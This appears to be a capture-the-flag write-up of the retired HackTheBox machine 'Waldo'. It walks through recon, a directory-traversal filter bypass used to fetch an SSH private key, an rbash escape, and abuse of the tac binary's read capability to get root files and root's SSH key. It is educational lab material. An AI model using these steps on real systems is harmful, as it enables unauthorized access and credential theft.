My last write-up of 2018 covers this week’s retired machine “Waldo” from HackTheBox. Waldo is a docker service stack. We abuse a vulnerability in the web server to get an initial foothold on the machine. From here, we get our hands on a private key to pivot across the Docker machine and ultimately exploit a “file capabilities” vulnerability to get access to the root.txt file. In summary:

User access Root access
Directory traversal vulnerability in web service Re-use of SSH private key on another Docker machine
Exposed SSH private key file Using getcap as privesc vector

Reconnaissance

Start with a nmap scan to identify the open ports and services running on our target machine:

root@kali:~/HTB/waldo# nmap -sC -sV -oA waldo.htb 10.10.10.87
Starting Nmap 7.70 (https://nmap.org) at Sat Nov 10 14:57:38 2018
Nmap scan report for 10.10.10.87
Host is up (0.034s latency).
Not shown: 997 closed ports
PORT     STATE    SERVICE        VERSION
22/tcp   open     ssh            OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey: 
|   2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
|   256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
|_  256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
80/tcp   open     http           nginx 1.12.2
|_http-server-header: nginx/1.12.2
| http-title: List Manager
|_Requested resource was /list.html
|_http-trane-info: Problem with XML parsing of /evox/about
8888/tcp filtered sun-answerbook

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 10 14:57:49 2018 -- 1 IP address (1 host up) scanned in 10.90 seconds

We can see there’s an nginx web service running on port 80. Let’s pay our attention to this lead first.

Web service – inspection of the web page

After we browse to http://10.10.10.87, the following web page is shown. It consists of a background image with a “list manager” and some buttons to delete the list entries

image info

We click on one of the “delete” buttons and intercept the request with Burp, to see inspect the parameter(s) that are being passed:

image info

The file fileDelete.php is being called using the parameter listnum. Basically it just deletes a list entry based on the number that has been specified in the request. Pretty much a dead end here.

At this point we could try to use a tool like DirBuster to enumerate hidden files/directories, however the server returns a wildcard response:

=====================================================
2018/11/10 15:22:52 Starting gobuster
=====================================================
2018/11/10 15:22:52 [-] Wildcard response found: http://10.10.10.87/a7389a4c-d094-47a6-9dfe-209bd891c145 => 302
2018/11/10 15:22:52 [!] To force processing of Wildcard responses, specify the '-fw' switch.
=====================================================
2018/11/10 15:22:52 Finished
=====================================================

Web service – reading the source

By looking at the source of the web page, we can see there’s a reference to a file named list.js. In this file there are multiple functions defined. One of the functions is deleteList that we triggered earlier, by clicking on the “Delete” button. Scrolling through the file, we can find another three functions that seem to allow us to read/write files and directories on the web server. Each of the functions opens an associated php file. For example the readDir function opens dirRead.php:

function readDir(path){ 
	var xhttp = new XMLHttpRequest();
	xhttp.open("POST","dirRead.php",false);
	xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xhttp.send('path=' + path);
	if (xhttp.readyState === 4 && xhttp.status === 200) {
		return xhttp.responseText;
	}else{
	}
}

The readDir function gets triggered after a GET request is sent to /list.html. Refresh the page, forward the GET request and we can see the dirRead.php file being called:

image info

The server responded with a JSON encoded object; including a list of entries that were shown on the main web page.

Let’s manipulate the path parameter as follows:

image info

The server returns a list of files included in the website’s root directory. We can also see the four PHP files that were mentioned in the list.js file we observed earlier.

Web service – FileRead function

We were able to list the files in the root web server directory using the readDir function. However, will we also be able to read files using the readFile function? Let’s give that a shot. We craft a HTTP POST request using fileRead.php to get the code content of the PHP file itself:

image info

Reformat the JSON object and we get the following piece of PHP code:

<?php
if($_SERVER['REQUEST_METHOD'] === \"POST\") {
	if(isset($_POST['path'])) {
	header('Content-type: application\/json');
	$_POST['path'] = str_replace( array(\"..\/\", \"..\\\"\"), \"\",
	$_POST['path']);
	echo json_encode(scandir(\"\/var\/www\/html\/\" . $_POST['path']));
	}
	else {
		header('Content-type: application\/json');
		echo '[false]';
	}
}
?>

The str_replace function is used as a (bad) attempt to prevent directory traversal. We can use multiple slashes and dots to bypass the filter and read the contents of the /etc/passwd file.

image info

From the output we can see a potential target user named nobody.

Correspondingly, we can abuse the directory traversal vulnerability to also list the directory contents of the .ssh folder of the nobody user, using dirRead.php:

image info

Finally, we retrieve the SSH private key of the nobody user in its home directory:

image info

Logging on to the machine using SSH

Reformat/beautify the JSON object and logon to the Waldo machine using SSH. After logging in we can retrieve the contents of the user.txt file

root@kali:~/HTB/waldo# chmod 400 priv.key
root@kali:~/HTB/waldo# ssh -i nobody@10.10.10.87

Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$ ls
user.txt

We are inside a docker machine running Alpine, commonly used for lightweight docker containers. We can also confirm this by running ifconfig:

waldo:~$ ifconfig
docker0   Link encap:Ethernet  HWaddr 02:42:AA:33:91:5A  
          inet addr:172.17.0.1  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

ens33     Link encap:Ethernet  HWaddr 00:50:56:B9:F1:A6  
          inet addr:10.10.10.87  Bcast:10.10.10.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:147232 errors:0 dropped:188 overruns:0 frame:0
          TX packets:277429 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:11100786 (10.5 MiB)  TX bytes:67389243 (64.2 MiB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:91032 errors:0 dropped:0 overruns:0 frame:0
          TX packets:91032 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:20467060 (19.5 MiB)  TX bytes:20467060 (19.5 MiB)

The IP-address of 172.17.0.1 is assigned to the docker0 interface. Let’s try to connect with the same SSH private key we used earlier:

waldo:~/.ssh$ ssh -i .monitor monitor@172.17.0.1
Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64
           &.
          @@@,@@/ %
       #*/%@@@@/.&@@,
   @@@#@@#&@#&#&@@@,*%/
   /@@@&###########@@&*(*
 (@################%@@@@@.     /**
 @@@@&#############%@@@@@@@@@@@@@@@@@@@@@@@@%((/
 %@@@@%##########&@@@....                 .#%#@@@@@@@#
 @@&%#########@@@@/                        */@@@%(((@@@%
    @@@#%@@%@@@,                       *&@@@&%(((#((((@@(
     /(@@@@@@@                     *&@@@@%((((((((((((#@@(
       %/#@@@/@ @#/@          ..@@@@%(((((((((((#((#@@@@@@@@@@@@&#,
          %@*(@#%@.,       /@@@@&(((((((((((((((&@@@@@@&#######%%@@@@#    &
        *@@@@@#        .&@@@#(((#(#((((((((#%@@@@@%###&@@@@@@@@@&%##&@@@@@@/
       /@@          #@@@&#(((((((((((#((@@@@@%%%%@@@@%#########%&@@@@@@@@&
      *@@      *%@@@@#((((((((((((((#@@@@@@@@@@%####%@@@@@@@@@@@@###&@@@@@@@&
      %@/ .&%@@%#(((((((((((((((#@@@@@@@&#####%@@@%#############%@@@&%##&@@/
      @@@@@@%(((((((((((##(((@@@@&%####%@@@%#####&@@@@@@@@@@@@@@@&##&@@@@@@@@@/
     @@@&(((#((((((((((((#@@@@@&@@@@######@@@###################&@@@&#####%@@*
     @@#(((((((((((((#@@@@%&@@.,,.*@@@%#####@@@@@@@@@@@@@@@@@@@%####%@@@@@@@@@@
     *@@%((((((((#@@@@@@@%#&@@,,.,,.&@@@#####################%@@@@@@%######&@@.
       @@@#(#&@@@@@&##&@@@&#@@/,,,,,,,,@@@&######&@@@@@@@@&&%######%@@@@@@@@@@@
        @@@@@@&%&@@@%#&@%%@@@@/,,,,,,,,,,/@@@@@@@#/,,.*&@@%&@@@@@@&%#####%@@@@.
          .@@@###&@@@%%@(,,,%@&,.,,,,,,,,,,,,,.*&@@@@&(,*@&#@%%@@@@@@@@@@@@*
            @@%##%@@/@@@%/@@@@@@@@@#,,,,.../@@@@@%#%&@@@@(&@&@&@@@@(
            .@@&##@@,,/@@@@&(.  .&@@@&,,,.&@@/         #@@%@@@@@&@@@/
           *@@@@@&@@.*@@@          %@@@*,&@@            *@@@@@&.#/,@/
          *@@&*#@@@@@@@&     #@(    .@@@@@@&    ,@@@,    @@@@@(,@/@@
          *@@/@#.#@@@@@/    %@@@,   .@@&%@@@     &@&     @@*@@*(@@#
           (@@/@,,@@&@@@            &@@,,(@@&          .@@%/@@,@@
             /@@@*,@@,@@@*         @@@,,,,,@@@@.     *@@@%,@@**@#
               %@@.%@&,(@@@@,  /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@,
                ,@@,&@,,,,(@@@@@@@(,,,,,.,,,,,,,,**,,,,,,.*@/,&@
                 &@,*@@.,,,,,..,,,,&@@%/**/@@*,,,,,&(.,,,.@@,,@@
                 /@%,&@/,,,,/@%,,,,,*&@@@@@#.,,,,,.@@@(,,(@@@@@(
                  @@*,@@,,,#@@@&*..,,,,,,,,,,,,/@@@@,*(,,&@/#*
                  *@@@@@(,,@*,%@@@@@@@&&#%@@@@@@@/,,,,,,,@@
                       @@*,,,,,,,,,.*/(//*,..,,,,,,,,,,,&@,
                        @@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
                        &@&,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#
                         %@(,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
                         ,@@,,,,,,,,@@@&&&%&@,,,,,..,,@@,
                          *@@,,,,,,,.,****,..,,,,,,,,&@@
                           (@(,,,.,,,,,,,,,,,,,,.,,,/@@
                           .@@,,,,,,,,,,,,,...,,,,,,@@
                            ,@@@,,,,,,,,,,,,,,,,.(@@@
                              %@@@@&(,,,,*(#&@@@@@@,

                            Here's Waldo, where's root?
Last login: Sun Nov 10 12:52:54 2018 from 127.0.0.1
-rbash: alias: command not found
monitor@waldo:~$ 

Success! However, it seems that we are inside a restricted shell:

monitor@waldo:~$ cd /etc/cr-rbash: /dev/null: restricted: cannot redirect output
bash: _upvars: `-a3': invalid number specifier
-rbash: /dev/null: restricted: cannot redirect output
bash: _upvars: `-a0': invalid number specifier
-rbash: /dev/null: restricted: cannot redirect output
bash: _upvars: `-a3': invalid number specifier
-rbash: /dev/null: restricted: cannot redirect output
bash: _upvars: `-a0': invalid number specifier

It seems that we can only execute certain commands as listed in the PATH variable:

declare -rx PATH="/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1"
declare -x PWD="/home/monitor"
declare -rx SHELL="/bin/rbash"

To bypass the restricted shell; disconnect from the SSH session and re-connect using the following command: ssh -i .monitor monitor@localhost -t “bash –noprofile”

Restore the PATH variable to include the common Linux binary locations: export PATH="$PATH:/usr/sbin:/usr/bin:/sbin:/bin"

Privilege escalation - File Capabilities

This box had an interesting method to privesc. Something I had never used before. The way Linux checks privileges related to a process is based on capabilities. These include flags to a process thread that indicate what kind of additional (privileges) it is allowed to use. It is somewhat similar to setuid. We can scan the filesystem for files with capabilities using the getcap command: getcap -r / 2>/dev/null

monitor@waldo:~$ /sbin/getcap -r / 2>/dev/null
/usr/bin/tac = cap_dac_read_search+ei
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei

The /usr/bin/tac/ binary has the “cap_dac_read_search+ei” permission. The description of the “CAP_DAC_READ_SEARCH” is as follows: “only override reading files and opening/listing directories (full filesystem READ access)”.

Meaning we can abuse the tac command to read arbitrary files.

monitor@waldo:~$ tac /root/root.txt
8fb67c84418be6e45fbd348fd4584f6c

We can also read root’s private key, in order to unreverse the output pipe the output to tac: tac /root/.ssh/id_rsa | tac

Updated: